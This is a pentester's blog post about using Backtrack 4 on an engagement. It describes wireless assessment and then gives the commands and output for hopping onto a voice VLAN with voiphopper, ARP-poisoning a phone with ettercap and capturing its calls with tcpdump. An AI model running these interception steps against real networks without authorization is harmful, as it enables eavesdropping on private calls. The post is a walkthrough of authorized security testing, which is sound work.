Like a buxom blonde right out of the hit (?) TV series Baywatch, the sexy beast we call Backtrack 4 saved me this week, not once, but twice. Let me tell you, I enjoyed it equally as much each time, and consider muts, martin, max, and the entire Backtrack team my heros (however, I do not want to see them in bikinis, if they did have such a photo it should be burned immediately :)
First, let me speak to the usefulness of penetration testing distributions. There are good and bad things about them. I’ve never been a big fan of using them because they don’t have permanent storage (so I if I want to customize or make changes they will not persist through a reboot), they are not always using up-to-date software, and hardware support doesn’t always exist for newer systems. They do have some advantages, such as if you need something to work right then and there and don’t want to recompile a kernel or spend an hour or more setting up the right environment for your tools to work. So, having said that, I carry Backtrack with me on every test, just in case. This is one of those cases where I needed it.
So, now you are wondering just what can Backtrack 4 do to save you butt and conjure up sexy images of bikini clad female lifeguards? Well, one thing that Backtrack has succeeded at is being a tool for wireless penetration testing. It does this well by default with all sorts of hardware, and saves me from recompiling my kernel, patching my wireless drivers, and dealing with the headaches and hair pulling associated with those activities. Not to mention your customer will not be too happy if you are spending billable time trying to get things working. Now, granted, you should have all of this stuff ready beforehand, however its hard to know *exactly* what you will need to for each test. Sometimes things just crop up, and all of sudden you need to be able to crack a WEP key to get to the next level, or find vulnerabilities in an Oracle database. These things happen, and as well prepared as you think your laptop, OS, and hardware are for the task, sometimes you have to revert to plan B. My plan B is always Backtrack, in a pinch I know I can boot it really quick and get the specialized tools to work.
Let me first get a rant out of the way, what the heck happened to PCMCIA? [UPDATE: Robin Wood pointed me to the a Cardbus to PC Express converter that I will be ordering as well. Thanks Robin!] I’ve got all these wonderful wireless cards, and with newer laptops they are totally worthless. I think I am going to put them all on ebay and buy all new USB and PCI express cards. In face, I just ordered an Ubiquiti SRX and Alfa USB Wireless.
So, this is where it all began, I’ve got two really nice Atheros chipset PCMCIA cards, but no laptop with PCMCIA (its akin to deer hunting, and I’ve got my trust arrows, but no bow to shoot them with). Luckily I did pack my Dlink DWL-G122 (H/W Ver B1, F/W Ver 2.02 Ralink Chipset?) wireless adapter. That should do and I proceed to boot BT3, figuring I’d aim for stability first. No such luck as it did not find my wireless adapter. So I tried BT4 and was able to complete my wireless assessment without a glitch, find cool stuff, and move on. The drivers in BT4 worked perfectly with this card, and were able to do channel hopping in monitor mode. I try not to think about how much it would have sucked to have to do that by hand.
The next thing I need to do was break into the VoIP network. This should be pretty easy, provided that you have a Linux system, with 802.1q support compiled into the kernel, voiphopper, ettercap, and tcpdump/wireshark. Don’t have those? Wait, look, here comes BT4 running down the beach to save you! Now, for some reason, BT4 does not have voiphopper. I like this tool as it makes it dead easy to jump VLANs from the data network to the voice network. I used the CDP discovery method while plugged into the back of the phone and voila! I had an interface on that vlan:
[email protected]:~/voiphopper-0.9.9# ./voiphopper -i eth0 -c0 VoIP Hopper Running in CDP Sniff Mode Capturing CDP Packets on eth0 Captured IEEE 802.3, CDP Packet of 141 bytes Discovered VoIP VLAN: 215 Added VLAN 215 to Interface eth0 Current MAC: 00:22:19:dc:a7:a9 Attempting dhcp request for new interface eth0.215 sh: dhcpcd: not found
The dhcp functionality is not working (no dhcpcd) when using this combination, so I ran dhclient manually to get an IP address:
dhclient eth0.215 Internet Systems Consortium DHCP Client V3.1.1 Copyright 2004-2008 Internet Systems Consortium. All rights reserved. For info, please visit http://www.isc.org/sw/dhcp/ Listening on LPF/eth0.319/00:22:19:dc:a7:a9 Sending on LPF/eth0.319/00:22:19:dc:a7:a9 Sending on Socket/fallback DHCPDISCOVER on eth0.319 to 255.255.255.255 port 67 interval 8 DHCPOFFER of 192.168.100.57 from 192.168.100.22 DHCPREQUEST of 192.168.100.57 on eth0.319 to 255.255.255.255 port 67 DHCPACK of 192.168.100.57 from 192.168.100.22 bound to 192.168.100.57 -- renewal in 267 seconds.
Once on the VLAN I was able to run ettercap and arp poison a phone, intercepting all of its connections:
ettercap -i eth0.319 -T -M arp // /192.168.102.181/
Once that was running I grabbed all of the packets with tcpdump:
tcpdump -i eth0.319 -w voip.pcap -nn -X -s0 'host 192.168.102.181'
Then I picked up the phone and made a call. If the VoIP traffic is not encrypted you can use Wireshark to grab all of the voice streams and play them back.
Paul Asadoorian
